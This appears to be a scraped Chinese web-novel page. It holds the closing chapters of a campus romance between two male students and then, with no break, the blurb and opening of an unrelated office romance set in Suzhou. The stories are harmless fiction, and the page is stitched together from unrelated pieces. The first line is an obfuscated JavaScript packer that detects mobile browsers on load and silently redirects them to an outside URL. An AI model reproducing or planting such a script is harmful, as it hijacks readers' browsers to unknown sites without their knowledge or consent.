;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353476|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录的小细节,那句"他永远不会知道"。 "厉川知道了吗?"云舟听见自己问。 "应该知道了,陈昊说他半夜就被电话吵醒了,好像是学生会公关部找他。" 云舟挂断电话,双手抱头坐在床边。阳光透过窗帘缝隙照进来,在地板上投下一道刺眼的光线。他需要找厉川谈谈,立刻,马上。 匆匆洗漱后,云舟抓起外套就往外冲。刚打开门,却看见厉川站在门外,手举在半空似乎正要敲门。他穿着黑色连帽衫,脸色苍白,眼下是明显的黑眼圈。 "厉川?我正想去找你——" "进去说。"厉川压低声音,迅速闪进门内,顺手锁上了门。 云舟的宿舍是双人间,但室友陈明周末回家了,现在只有他一个人。厉川站在房间中央,背对着云舟,肩膀线条绷得紧紧的。 "那个帖子..."云舟开口。 "我已经联系版主删帖了。"厉川的声音冷静得不自然,"但照片已经流传开了,短时间内压不下去。" 云舟走到厉川面前,强迫他直视自己:"对不起,都是因为我——" "现在说这个没用。"厉川打断他,"歌手大赛评委的事,我建议你请假。" "为什么?我们又没做错什么!"云舟的声音不自觉地提高,"就因为我喝醉了亲了你一下?兄弟之间开这种玩笑怎么了?" 厉川的眼神瞬间冷了下来:"你真的觉得这只是个玩笑?" 云舟张了张嘴,那句"不然呢"卡在喉咙里说不出来。他想起了钱包里的纸条,想起了厉川说的"有喜欢的人",想起了那些被珍藏的照片。 "我..."云舟的声音低了下去,"我不知道。" 厉川深吸一口气,像是在极力控制情绪:"我父亲看到了那些照片。" "什么?他怎么——" "有人直接发到了他邮箱。"厉川的嘴角扯出一个苦笑,"附带我们家的公司简介。" 云舟倒吸一口冷气:"这是...勒索?" "不清楚。但我爸昨天连夜从B市赶过来。"厉川走到窗边,背对着云舟,"他要求我立刻和你断绝来往。" 云舟感到一阵眩晕,他扶住桌沿才没跌倒:"为什么?我们只是朋友啊!就因为我喝醉了亲了你一下?" 厉川转过身,眼神复杂:"不是因为这个。" "那因为什么?" "他不喜欢你们家。"厉川简短地说,"从来都不。" 云舟如遭雷击。他和厉川认识十几年,从来不知道两家之间有什么过节。他们父母见面时虽然不算亲密,但也客客气气的啊? "什么意思?我爸妈对你不好吗?每次你来我家,我妈都做你爱吃的——" "不是这个。"厉川烦躁地抓了抓头发,"是...家族之间的事。我也不完全清楚,但他态度很坚决。" 云舟突然想到什么:"所以他昨天打电话叫你出去,就是说这个?" 厉川点点头。 "那...你怎么回答的?" 沉默在两人之间蔓延。阳光慢慢移到厉川脸上,照出他紧绷的下颌线。 "我说我会处理。"最终厉川回答。 云舟的心沉了下去。"处理"是什么意思?处理照片?处理舆论?还是...处理他们之间的关系? "厉川,"云舟鼓起勇气,"那张纸条我看到了。" 厉川的身体明显僵住了:"什么纸条?" "你钱包里的,记着我们...我们之间的事。"云舟向前一步,"上面写''他永远不会知道''...你想让我不知道什么?" 厉川的脸色变得煞白。他后退一步,后背抵在墙上,像是被逼入绝境的野兽。 "那只是个...备忘录。"厉川的声音干涩。 "备忘录需要写''这样最好''吗?"云舟又向前一步,现在他们几乎鼻尖相碰,"厉川,你到底——" 手机铃声突兀地响起。厉川如蒙大赦般掏出来看了一眼:"学生会。"他接起电话,简短地应答几句后挂断,"帖子删了,但已经有人保存了照片,现在各个年级群都在传。" 云舟拿出自己的手机,果然看到好几个群里都在讨论这件事。有人@他问是不是真的,有人发各种暧昧的表情包,还有人说"早就觉得他俩不对劲"。 "操。"云舟把手机扔到床上,"现在怎么办?" 厉川沉思片刻:"我们暂时不要一起出现在公共场合。等风波过去——" "不行!"云舟打断他,"那样不就坐实了传言吗?我们应该表现得一切如常!" 厉川皱眉:"什么意思?" "就是...假装什么事都没发生。"云舟突然灵光一现,"甚至可以假装我们和好了!你想啊,如果我们大大方方一起出现,别人反而会觉得那些照片没什么大不了的。" 厉川的表情变得难以捉摸:"你是说...演戏?" "对!就是演戏!"云舟越说越兴奋,"我们可以表现得特别兄弟情,让所有人都觉得那个吻就是个玩笑。" 厉川的眼神暗了下来:"你真的很擅长这个。" "什么?" "把一切都当成玩笑。"厉川的声音很轻,却像刀子一样锋利。 云舟愣住了。他想反驳,却发现自己无话可说。是啊,那个吻对他来说确实只是个醉酒后的玩笑,但对厉川呢? "我不是..."云舟艰难地开口,"我只是想解决现在的问题。" 厉川深吸一口气:"好,就按你说的做。从今天开始,我们''和好''。"他特别强调了最后两个字,"但只是做给别人看,私下里..." "私下里我们还是需要谈谈。"云舟坚持道。 厉川没有正面回应:"明天歌手大赛评委见面会,我会准时到场。" "我跟你一起去。" "不必。我们可以在活动中心门口''偶遇''。"厉川走向门口,"记住,这只是演戏。" 他拉开门,差点撞上正准备敲门的王磊。 "卧槽!"王磊后退两步,眼睛瞪得像铜铃,"厉、厉川?你们...和好了?" 厉川没有回答,侧身离开了。 王磊探头看了看厉川远去的背影,又转向云舟:"什么情况?" 云舟抓了抓头发:"复杂。不过从现在开始,我和厉川''和好''了。" "真的假的?" "你说呢?"云舟苦笑。 王磊走进宿舍,神秘兮兮地关上门:"舟哥,有件事我得告诉你。那个发帖人虽然匿名,但我有个朋友在IT社,他说发帖IP对应的网吧就在厉川家公司附近。" 云舟皱眉:"所以?" "所以,有没有可能是..."王磊欲言又止,"厉川自己安排的?" "不可能!"云舟斩钉截铁。 "但时机太巧了,就在他爸找你俩麻烦之后..." 云舟摇头:"厉川绝不会做这种事。他要是想公开什么,会直接说,不会玩这种把戏。" 王磊耸耸肩:"好吧,不过现在全校都在讨论你俩。外语系那个林薇还在论坛上发帖,说早就觉得你们是一对..." 云舟 groan 了一声,倒在床上用枕头捂住脸。事情怎么会变成这样?一周前他和厉川还是形影不离的好兄弟,现在却要"假装和好",而这一切都源于一个他以为无伤大雅的玩笑吻。 枕头下的手机突然震动起来。云舟摸出来一看,是厉川发来的消息: 「明天下午2:45,活动中心东门。别迟到。」 简单一句话,没有任何表情符号或语气词,典型的厉川风格。云舟盯着屏幕,想起那张纸条上密密麻麻的记录,想起厉川说"有喜欢的人",想起他父亲要求断绝来往... 他突然意识到,自己可能从未真正了解过厉川,不了解他平静表面下隐藏的情感,不了解他背负的家庭压力,甚至不了解他们两家之间到底有什么过节。 而明天,他们将要在众目睽睽之下"表演"和好。云舟不确定自己能否演好这场戏,尤其是在知道了那么多之后。 更不确定的是,这场戏会不会在某刻变得...不再只是演戏。 周一中午,云舟站在学生活动中心东门外的梧桐树下,不断看表。2:43,厉川应该快到了。校园里人来人往,不少人经过时都对他指指点点,还有人捂着嘴偷笑。那些酒吧照片的影响力显然还没消退。 2:45整,厉川的身影准时出现在小路尽头。他今天穿了件深灰色衬衫,袖口挽到手肘,露出线条分明的小臂。阳光下,他的轮廓像被镀了一层金边,好看得不真实。 "准时啊。"云舟努力让自己的语气听起来轻松自然。 厉川点点头,目光扫过周围窃窃私语的学生:"进去吧。" 两人并肩走向活动中心,刻意保持着不远不近的距离。云舟能闻到厉川身上淡淡的雪松香气,那是他去年送给厉川的生日礼物。这个发现让他心头一暖——即使在这种时候,厉川还在用他送的东西。 "记住,"厉川压低声音,"自然一点,就当什么都没发生过。" "知道,演戏嘛。"云舟扯出一个笑容,心里却像压了块石头。 活动中心大厅已经聚集了十几位评委,都是各学院选拔出来的学生代表。云舟和厉川一出现,原本嘈杂的大厅瞬间安静了几秒,接着爆发出更热烈的议论声。 "看,他们真的来了..." "我就说照片是真的吧..." "但看起来好像没什么特别的啊..." 云舟的后背渗出冷汗。他下意识地往厉川身边靠了靠,两人的手臂几乎相碰。 "云舟!厉川!这边!"王磊在角落挥手,他身边站着几个篮球队的队友。 厉川微不可察地叹了口气,但还是跟着云舟走了过去。 "你们真的和好了?"王磊迫不及待地问,眼睛在两人之间来回扫视。 云舟故作轻松地搭上厉川的肩膀:"本来就没啥事,就你们瞎起哄。" 他能感觉到厉川的身体瞬间绷紧,但对方没有躲开。这个认知让云舟心里泛起一丝异样的感觉。 "那照片怎么回事?"一个队友好奇地问。 "就我喝多了闹着玩呗。"云舟笑着看向厉川,"对吧,兄弟?" 厉川的嘴角抽动了一下:"嗯。" 学生会主席拍了拍手,宣布会议开始。云舟长舒一口气,暂时逃过了追问。评委们被分成几个小组,负责不同场次的初选工作。巧合的是,他和厉川被分到了同一组。 "请各位评委注意,"主席严肃地说,"我们的评分标准必须严格遵循公平公正原则,不能因为私人关系影响判断。" 说这话时,他的目光明显在云舟和厉川身上多停留了几秒。云舟尴尬地摸了摸鼻子,厉川则面无表情地翻看评分表。 会议结束后,云舟提议一起去食堂吃饭,继续他们的"表演"。厉川犹豫了一下,还是同意了。 刚走出活动中心,天空突然阴沉下来,远处传来闷雷声。 "要下雨了。"厉川抬头看了看天,"我宿舍有伞,去拿一下。" "我跟你一起。" 厉川摇摇头:"你在这等着,我很快回来。" 云舟刚想说些什么,手机突然响了。是妈妈打来的。 "妈?" "舟舟,"妈妈的声音异常严肃,"你现在能回家一趟吗?有重要的事要跟你说。" "现在?"云舟看了看时间,下午三点二十,"什么事这么急?" "关于...厉川家的事。" 云舟的心跳漏了一拍:"厉川家?" "嗯。我刚见了他父亲。" "什么?你见厉叔叔干什么?"云舟的声音不自觉地提高,引得几个路过的学生回头看他。 电话那头沉默了几秒:"回来再说吧。尽快。" 挂断电话,云舟站在原地,脑子乱成一团。妈妈为什么要见厉川父亲?他们说了什么?为什么突然这么着急叫他回家? 一滴冰凉的雨水打在脸上,接着是第二滴、第三滴。转眼间,倾盆大雨从天而降。云舟赶紧躲到活动中心的屋檐下,看着瞬间变得空荡荡的校园。厉川怎么还没回来? 正想着,一个熟悉的身影出现在雨幕中。厉川撑着一把黑伞,快步向这边走来。雨水打湿了他的裤脚和鞋子,但他似乎毫不在意。 "给。"厉川把伞递给云舟,"你拿着吧,我有事先回宿舍。" 云舟没接:"我妈刚打电话,说见了你爸,让我立刻回家一趟。你知道怎么回事吗?" 厉川的脸色瞬间变得苍白:"什么时候见的?" "就刚才,或者不久之前?她没说清楚。"云舟盯着厉川的眼睛,"你们家和我们家到底有什么过节?" 雨越下越大,敲打在伞面上的声音几乎盖过了说话声。厉川的睫毛上挂着细小的水珠,不知是雨水还是别的什么。 "不是这里。"厉川最终说,"找个安静的地方。" 他们来到活动中心后面的小花园,因为下雨而空无一人。厉川收起伞,两人站在一处狭窄的屋檐下,肩膀挨着肩膀。雨水在他们面前形成一道水帘,将这个小角落与外界隔离开来。 "我爸一直反对我和你走得太近。"厉川开口,声音低沉,"小时候还好,自从我们上了高中,他就越来越...敏感。" "为什么?" 厉川深吸一口气:"因为...他和你妈曾经是恋人。" "什么?!"云舟瞪大眼睛,"我妈和你爸?" "大学同学,谈了很多年,差点结婚。"厉川的声音几乎被雨声淹没,"后来因为家族原因被迫分开。具体怎么回事我也不清楚,只知道你们家当时强烈反对。" 云舟的大脑一片空白。妈妈和厉叔叔?这怎么可能?他们每次见面都客客气气的,完全看不出有什么过往啊! "所以...你爸反对我们来往,是因为..." "他不想历史重演。"厉川苦笑一声,"讽刺的是,他的做法反而让一切变得更复杂了。" 云舟突然想起什么:"等等,你说''历史重演''是什么意思?我们只是朋友啊,除非..."他看向厉川,后者避开了他的目光。 雨水打在树叶上的声音变得格外清晰。云舟能听见自己的心跳声,一下比一下重。 "厉川,"他轻声问,"那张纸条上写的''他永远不会知道''...你到底不想让我知道什么?" 厉川的呼吸变得急促,雨水顺着他的发梢滴落,在衬衫上留下深色的痕迹。他的手指无意识地摩挲着伞柄,指节泛白。 "算了,"他突然说,"我送你回家吧,你妈等着呢。" "不,把话说清楚。"云舟抓住厉川的手腕,"我们认识十几年了,有什么不能直说的?" 厉川猛地抽回手:"因为说出来就完了!你明不明白?" 他的声音在雨声中炸开,带着云舟从未听过的痛苦和愤怒。雨水顺着他的脸颊滑下,分不清是雨还是泪。 "我喜欢你,云舟。"厉川的声音突然变得很轻,"不是兄弟那种喜欢,是想和你在一起的那种喜欢。十年了,我他妈喜欢你十年了。" 云舟站在原地,仿佛被雷劈中。虽然早有猜测,但亲耳听到厉川说出来,还是让他浑身发抖。雨水打湿了他的肩膀和后背,但他感觉不到冷。 "所以那个吻..."云舟喃喃道。 "对我而言从来不是玩笑。"厉川苦笑,"但你呢?你亲完就跑,还能若无其事地说只是兄弟闹着玩。" 云舟想说些什么,却发现自己的喉咙干得发疼。是啊,他一直以来都把厉川当成最好的兄弟,从未想过别的可能。可为什么听到厉川的表白,他的心跳会快成这样?为什么看到厉川和别人走近,他会莫名烦躁?为什么厉川疏远他的这段时间,他会那么难受? "我不知道..."云舟艰难地开口,"我需要时间想想..." "不必了。"厉川后退一步,半个身子暴露在雨中,"我早就该明白的。你对我,永远只能是兄弟。" 他转身要走,云舟下意识地抓住他的衣角:"等等!" 厉川停下脚步,但没有回头。 "我...我不知道我对你是什么感觉。"云舟的声音颤抖,"但我知道我不想失去你。这段时间你躲着我,我难受得要死。看到别人传我们照片,我第一反应不是尴尬,是担心你会不会更讨厌我了..." 厉川慢慢转过身,雨水顺着他的下巴滴落,眼睛却亮得惊人。 "云舟,"他轻声说,"你知道自己在说什么吗?" "不知道!"云舟抓狂地抓了抓湿透的头发,"我他妈从来没想过会喜欢上一个男的,更没想过那个人会是你!但如果喜欢你就是想天天看见你,想碰你,想让你只对我一个人笑...那我大概是喜欢上你了。" 最后一句话几乎是喊出来的,在雨声中格外清晰。厉川站在原地,像是被定住了,只有微微颤抖的手指暴露了他内心的震动。 "你...喝醉了吗?"他小心翼翼地问。 "我清醒得很!"云舟上前一步,两人的距离近得能感受到对方的呼吸,"你不是喜欢我吗?那现在怎么办?" 厉川的眼睛里有什么东西融化了,他缓缓抬起手,轻轻碰了碰云舟的脸颊:"慢慢来,行吗?" 云舟突然想起钱包里那张纸条,想起厉川记录的每一个小细节,想起他说"喜欢十年了"。这个人,一直在他身边,默默记着关于他的一切,却从不奢求更多。 心跳声大得几乎盖过了雨声。云舟做了一个这辈子最大胆的决定——他抓住厉川的衣领,踮起脚,吻了上去。 这个吻和酒吧那次完全不同。没有酒精,没有玩笑,只有雨水的气息和厉川唇上微微的凉意。云舟能感觉到厉川瞬间僵住,然后慢慢放松,一只手抚上他的后颈,温柔地回应。 分开时,两人都气喘吁吁。厉川的眼里有云舟从未见过的光彩,让他想起夏夜的星空。 "这算什么?"厉川低声问,拇指轻轻擦过云舟的嘴唇。 "不知道,"云舟老实承认,"就想这么做。" 厉川轻笑一声,额头抵住云舟的:"你还是这么冲动。" "你不就喜欢我这样吗?"云舟脱口而出,然后意识到自己说了什么,脸瞬间烧了起来。 厉川的眼神柔软得不可思议:"是啊,喜欢得要命。" 雨渐渐小了,阳光透过云层,在水洼上投下细碎的光斑。云舟的手机又响了,还是妈妈打来的。 "我得回家了。"他无奈地说。 "我陪你一起。"厉川撑开伞,"是时候面对我们的''历史问题''了。" 云舟接过伞,另一只手自然而然地牵起厉川的:"你爸会杀了我的。" "他不会。"厉川紧了紧手指,"有我在。" 阳光终于穿透云层,照在湿漉漉的校园小路上。两个身影共撑一把伞,慢慢走向校门口,影子在地上交叠在一起,分不清彼此。 这一次,不会再有什么能把他们分开。 [全文完]真心话大冒险 43. 第 61 章 许知临暗恋了一个人五年。 在这五年,他每天活下去的希望就是远远的看着那个耀眼的人,越看却越只能发现,自己配不上他,可是有一天,那个总是照耀着世界的太阳,忽然低下了头。 ———————————— 骆星冉是个富二代,家里独子,从小到大都是天之骄子,一大学毕业就进了家里的公司当总管,再一次晚宴上,他注意到了一个总是偷看他的人,那个人矜贵好看,是父亲高薪挖来的人才,明明是个不可多得的天才,却在每次看见他时连头都不敢抬起来,明明有着一张柔情似水的脸,却总是自卑,骆星冉不解,想要去靠近这个男人,最后发现,这个男人其实是一个疯子。 春水初涨,漫过石桥的旧痕。桥边几株老柳,枝条已抽出嫩黄,在风里软软地拂动,像是要蘸着水面写字。偶有一两片柳絮挣脱枝头,便随着气流打旋,最终落在浮着萍藻的河面上,随波缓缓漂去。 骆星冉只身一人站在桥边,嘴里叼着跟棒棒糖,抬眼眺望着河岸——对岸的古道来来往往着形形色色的人群,花红柳绿,莺飞草长。 “喂?”骆星冉接通了电话,青年的眉目清润,一双含情的桃花眼总让人感觉柔情似水。 “骆少?回苏州了?怎么也不说一声。” 电话对面传来高昂激动的男声,骆星冉对着电话呵呵笑着,孟春的阳光柔和温暖,骆星冉只身站在阳光下,感觉浑身轻松,神色也不自觉的变得柔和。 “我回来还要跟你报备吗?”骆星冉道:“我这次回来不走了,我爹让我进公司。” “进公司?” 电话对面是骆星冉的发小沈睿,沈睿听后看起来很震惊,声音都不由得拔高了几个度。 “你爸让你去苏州这边的公司?”沈睿问。 骆星冉淡淡的“嗯”了一声,一双桃花眼眺望着河对岸嬉笑打闹的情侣。 “怎么了?”骆星冉问道。 沈睿一时间有些语无伦次,支支吾吾的一会儿这个一会儿那个。 “就是吧……那个……” 骆星冉:“你不说我就挂了。” 沈睿听了立马不乐意:“哎别别别,兄弟你在伦敦呆了三年没见着我了,就不想我吗,一打电话就……” “说不说?” 沈睿认怂了,这骆星冉虽说看起来好相处,但其实坏起来一套一套的,沈睿唉声叹气,最终还是妥协。 “你是不知道啊,苏州那边的公司来了个新股东,新官上任三把火,烧的可旺了……” 沈睿说着,声音还越来越小,像怕惊到什么鬼怪一样。 “哦?”骆星冉拿出嘴里的棒棒糖,饶有兴致:“当真这么厉害?” 草莓味的棒棒糖有点过于甜了,骆星冉不适的砸砸嘴,呵呵的笑起来。 “那我可就要好好见识见识了。” 早上十点,恒通例行早会,骆星冉做为新来的总监,提前了半小时就敢到了会议室。 会议室宽敞明亮,长形方桌上每个位置都摆着一瓶矿泉水,骆星冉本以为自己肯定是第一个来的,但甫一推开门,发现里面正坐着一个人,笔记本电脑挡住了那人的脸,骆星冉看的模糊。 那人显然是发现了骆星冉的到来,微微推开了笔记本电脑,侧过头来看,在看见骆星冉的一瞬间双眼很快的震了一震,很快又恢复了正常。 骆星冉被这人的气质所震撼到了,明明这人在看见他前严肃正经的恍若赏罚分明刚正不阿的领导者,但是那人的眼神在和他相触的一瞬间,他周身严肃沉闷的气息恍若顷刻间碎为一地狼藉,只剩下几丝……骆星冉看不懂的慌乱与无措。 “你好?我是……新来的总监。”骆星冉哈哈笑着,上前去打招呼。 骆星冉虽然是老总的儿子,但是他爸为了让他历练,这个公司的人都只以为他是普通调来的总监。 许知临点了点头,停下了手里的工作,抬头看着骆星冉,眉如远山,眼若寒星。 “你今天先熟悉一下工作流程,明天正式工作。”许知临开口道,声音温润清隽。 骆星冉一时间看的有些愣神,一双桃花眼呆滞的望着许知临,许知临被他看的有些不自在,迅速低下了自己的头,双眼垂下,两颊却带着可疑的粉红。 “啊……好……”骆星冉这才反应过来,只觉着刚才许知临的双眼仿佛盛满了星河,而那方星河之中,却是认真严肃的映照着自己的模样。 “哦,你就是许总吧。”骆星冉又恢复了镇定好相处的模样,伸出手要去和许知临握手。 许知临犹豫了一下,伸出了自己的手,极轻的捧上了骆星冉的手。 骆星冉只觉自己的手背好似被羽毛轻轻抚弄,那人似乎是害怕把他握疼了,力气用的极轻,手心湿润,应是浸了手汗,只是不知道,是什么样的缘故,让这样一个雷厉风行的新股东这般紧张。 “你好,我叫许知临。”许知临道。 没过多久,会议的人员就到齐了,许知临站在长桌最前端,一身笔挺的银灰色西装衬的人长腿细腰,偏栗色的短发梳着利落的三七分,眼神严肃认真,正播放着公司运营利润的PPT,同大家分析着。 骆星冉定定的望着正在认真开会的许知临,发现许知临的眼神永远不敢望到他这边,这让他觉得有意思极了。 等到会议结束,许知临拧开一瓶矿泉水,耳根透着粉红,猛灌了一口水,喉结滚动着,咽下一口水,嘴角还泛着水光。 骆星冉上前,笑意盈盈:“许总真厉害啊,能带我熟悉熟悉公司吗?” 许知临不自觉的退后了一步,一双眼睛水波粼粼:“让白陆带你去吧,我还很忙。” 白陆是许知临的秘书,骆星冉眼中闪过一丝失望,许知临差一点就想妥协了,不过还好很快,骆星冉又道: “那好吧,那我中午可以和许总一起吃饭吗?” 骆星冉笑着说着,还挑了挑眉。 许知临正要开口,却对上了骆星冉那一双乞求的桃花眼,话到嘴边,他最后还是说了一句。 “好。” 骆星冉大学学习的是经济学,很快便了解了苏州这边公司的情况,惊讶的发现许知临竟然比他想象的还要优秀,来到苏州不到一年,竟然让公司指标上升了三四倍。 “骆总监,你好,我是白陆,许总告诉我您如果有不明白的,可以问我。” 骆星冉点点头,看着这个略显呆板但又格外严肃的秘书,确实很符合许知临的选人标准。 “我确实有问题。”骆星冉眯着眼睛亲近的笑着,让人感觉格外好接近。 “你们许总,有没有什么特别喜欢的东西呀?” 白陆一向严肃的表情有一瞬间的空白,微微张开嘴,想说些什么,但最终因为自己的不善言辞,没能真的说出什么来。 倒是骆星冉先开了口:“我这是对我上司的关心,白秘书……应该理解的吧。” 骆星冉倚靠在旋转椅的椅背上,双眼饶有趣味的透过那半透明的玻璃窗,似乎看见了窗户内那总是从容不迫的人红起的耳朵。 “我们许总……”白陆犹豫着,似乎是在思考措辞:“许总似乎喜欢吃甜食。” “甜食?”骆星冉来了兴趣,身子前倾,胳膊支在了膝盖上。 “对,许总喜欢喝奶茶,还有甜品。” 白陆眼神肃穆,仿佛在汇报公司报告,而不是在透露一个高岭之花总裁居然会喜欢喝奶茶吃甜品这件事。 “白陆,去做你自己的事情。” 许知临抱着一沓文件,从骆星冉一直盯着的玻璃办公室内走了出来。 骆星冉戏谑着一双眼睛,微笑着抱着手臂,紧视着迈着长腿慢慢走到他面前的许知临。 白陆虽然不理解许知临为什么忽然让他去忙,但是他习惯听从许知临的命令,只是愣神点了点头,便离开了。 “许总。”骆星冉笑意盈盈的开口。 许知临的双眼总是无知觉的低垂着,骆星冉从第一次见他就发现了,明明该是一个高傲不可一世的优秀青年,却总是垂着眼帘。 许知临听到后略有些局促的看向骆星冉,眼底有着让骆星冉怎么也看不懂的慌乱和害怕。 “许总这是……害怕我吗?” 骆星冉的桃花眼每每笑起来,都是如月牙般弯起来,总叫人感觉亲和好相处。 许知临看到后双眼仿佛被烫到一般,立马又低下眼帘,甚至更为夸张的,微微弯下了头颅。 “骆总监,如果有工作需要,你可以问白陆。” “哦?”骆星冉好笑道:“所以,不能打听许总您的私人信息咯?” 许知临张张嘴,想说是,但是话到嘴边,却怎么也说不出去,明明遥不可及,他却总是想要多奢求一点。 “没事,许总。”骆星冉从椅子上站了起来,亲近的拍了拍许知临的肩膀。 “我们还要相处很久,我会慢慢观察你的喜好的。” 许知临只觉得心里一阵柔软,仿佛坠入了黏腻的蜜糖里,明明只是简单的一句话,却让他惊慌失措。 公司的午休时间很长,有足足三个小时,骆星冉一早就忙好了工作,理了理自己的休闲西装,摘掉自己的工牌,双手插兜,侧身倚靠在玻璃办公室门口,慢慢等待着里面人的出现。 正对着玻璃墙想整理一下发型,就发现门被人推开了。 许知临垂着眼帘,耳朵染着绯红。 玻璃门是单面的,他可以从里面看见外面的骆星冉,看着骆星冉为了等他,整理衣服,整理头发,好似……他很重要一样。 “你忙完啦。”骆星冉笑着开口,声音也是明朗清澈,让人心生亲近。 许知临点点头,二人并肩走着。 办公区的一行人看着两人,皆露出了不可思议的神情。 新来的实习生周媛不明白怎么了,疑惑的看着周围的同事们。 “小周你还不知道吧。”李梅是个中年妇女,来了公司十几年了,看着周媛想到了以前的自己,忍不住开口向她解释。 “我们许总好像不喜欢跟人接触,每天要比其他人来的早,比其他人走的晚,我一开始还以为许总极其刻苦——谁想到,其实是许总社恐,害怕跟人说话才这样。” 周媛微张着嘴,显得惊讶极了。 “那他跟骆总监……”周媛问。 “这就奇怪啦。”李梅哈哈笑着,“兴许是以前认识呢。” 周媛点点头,优秀的人总会格外吸引优秀的人的。 “你打算出去吃?”许知临踌躇很久,最终还是问了出来。 二人正一前一后走在地下车库里,骆星冉听了许知临这句话后格外想笑。 “不然呢许总?”骆星冉笑着掏出车钥匙,打开了自己的suv,“您难道打算跟我在车里吃泡面吗?” 许知临面色闪过几丝慌乱,有些着急的想要说些什么,背脊紧绷着,似乎很紧张。 骆星冉逗够了,便笑着拉开了副驾的车门,微微欠身:“许总请进。” 许知临的身子瞬间崩的更直了,在骆星冉的视角里,甚至还能微微看见许知临有些颤抖的后腰。 脑子一片浆糊,许知临小心翼翼的坐到了副驾,骆星冉玩着眼睛笑着,绅士的顺手拉上了车门。 等车从地下车库里的阴影出来,疾驰在马路上,等车窗外春天温暖的阳光打在许知临身上,许知临的脑子才慢悠悠的能正常运作起来。 他们出来了,他出来了……他好像从阴暗的地下被拉了出来,拉他出来的人,还带着他照耀着阳光,阳光从未离他这样近过,但他知道,阳光是不分一切的照耀着每一个人。 晶亮的眼神又变得落寞起来。 “你可以不用这样的。”许知临开口道,声音是出乎意料的颤抖,不似早晨分析ppt时的冷静。 骆星冉握着方向盘,闻言“嗯?”了一声,似乎是没有理解。 “不用……对我这样尊敬。” 骆星冉听后一挑眉,更加不理解这位高高在上的高岭之花到底在想些什么。 “你是我领导。”骆星冉开口,语气理所当然,“我当然要尊敬你。” 许知临双手紧扣着安全带,攥出了波浪般的曲线,双眼低垂着,看向窗外,领导吗?他说的没错,他只是领导。 “不过……”骆星冉又开口,“如果你愿意,其实我更想叫你的名字。” 霎时间,许知临感觉自己的心破开了一个豁口,无数流淌着猩红的奔腾着的血液冲破了束缚,浓烈的淌过了自己的全身,为什么,明明遥不可及,却要给他一个机会,明明只是观望,却要让他不得不靠近。 双手松开了安全带,银灰色的安全带被他的手汗浸成了深色,嘴唇却变得干涩,他抿了抿嘴唇,声音是难掩的慌张,这是他明明应该拒绝的一句话,却只是,极轻极轻的回复了一声。 “好。” “不知道你喜欢吃什么。”骆星冉噙着笑,替许知临拉开了椅子,“索性我选了一家我最喜欢的店。” 这是一家普通的川菜小店,店里的装潢也朴素又充满生活气,不大的小店里却座无虚席,有妇女带着孩子的,也有几个老大爷一同坐在一起点几个下酒菜唠嗑的。 “你喜欢……这样的店?”许知临轻声问道,眼前的碎发随着动作散落,微微遮盖住了那一双盛满星河的眼眸。 那声音极轻极轻,仿佛下一秒就要被四月的春风吹散一般,骆星冉不解,为什么这个优秀的年轻人,每每跟他说话,声音都要轻若鸿毛,好似多么畏惧他一般。 “嗯,怎么了,知临哥不喜欢?” 声音清朗,是与许知临截然不同的磊落光明。 许知临被这一声知临哥叫的迅速垂下眼帘,耳尖浮出薄红。 骆星冉是富家大少爷,会因为喜欢这里的味道就纡尊降贵坐在这样的一家小店里……那么他……是否也值得被…… “我很喜欢。”许知临垂着眼帘缓缓开口,眉前的几缕栗色碎发被春日照耀的熠熠生辉。 两人点了几个小菜,吃完后掐着点赶回公司,路过黄天源的时候,骆星冉眼珠一转,停了车,跑进店里买了一盒精致的薄荷膏。 “苏州经典老店。”骆星冉一眨眼,把糕点递给了许知临,“听说你爱吃甜的。” 许知临神色仓皇,有些不知所措,喉结滚动着似乎在想拒绝的话。 “拿着。”骆星冉一眼看出对方打算,只觉得这个人越发有趣,“就当我是为了讨好上司吧。” 许知临双手接过糕点盒,捧在了怀里,神色依旧诚惶诚恐,好似怀里抱着的是什么易碎的琉璃。 真有意思。骆星冉想,这个总是游刃有余雷厉风行的许总,似乎怕他如洪水猛兽。 四月的苏州城,春意浓浓,既有着古城的典雅,又有着新城的繁华,粉墙黛瓦间,斜阳筛过廊檐,将雕花窗棂的影细细描在青苔石阶上。摩天大楼的玻璃幕墙将春阳折射成碎金,洒在护城河粼粼的水面上。 就这样,骆星冉来苏州公司的时间已经过去了一周,周五一下班,他就又接到了沈睿的电话。 “喂?骆少啊,终于周末了,陪我出去喝几杯?” 骆星冉右手拿着电话放在耳侧,另一只手摁下电梯,余光瞥见了身后似乎离他不远但又不敢上前的身影。 “行啊。”骆星冉回答,“去哪喝?有没有美女啥的。” 骆星冉好笑道,果然下一秒,就听到身后响起了脚步声。 “骆总监。” 许知临开口,声音不再像初见那般颤抖,这一周的时间,仿佛让他学会了如何正常与骆星冉说话。 骆星冉心里瞬间舒服多了,二话不说就挂了电话,根本不管电话对面沈睿的大叫骂街。 “怎么了?许总?”骆星冉的桃花眼弯成月牙,笑意盈盈的注视着许知临。 许知临抿着嘴唇,他知道,这其实是骆星冉的私事,他本不该多管闲事,可是这一周的注视,让他恍惚间觉得自己离曜日的距离,好像越来越近了。 “没事。”许知临最后这样开口,人总是贪心不足,得到了甘霖就想寻找清泉。 叮的一声,电梯门打开,许知临沉默着,先一步踏入了电梯内。 骆星冉紧随其后,仍旧挂着笑容暗暗审视着许知临。 他对这个人充满了好奇,好奇一个人为什么能做决策时说一不二,却在看他的眼神时小心翼翼,好奇一个人为什么总是想要靠近他,却又畏惧着上前,如果是喜欢,那为什么又要躲避呢? 他们的办公区在十四楼,电梯很快就降到了负一楼的地下车库,骆星冉不自觉的又想起周一那时总是诚惶诚恐的许知临,骆星冉回头看向许知临那双只有看见他时才会盛满星河的双眸,不知怎的,忽而开口。 “骗你的,我和朋友只是出去玩,不叫美女。” 许知临沉静的双眼微微抬起,表情木楞着。 骆星冉说完这句话坦然的露出一个笑容,便不顾许知临的愣神,兀自回身离开了。 那双眼睛真明亮。骆星冉如是想道。 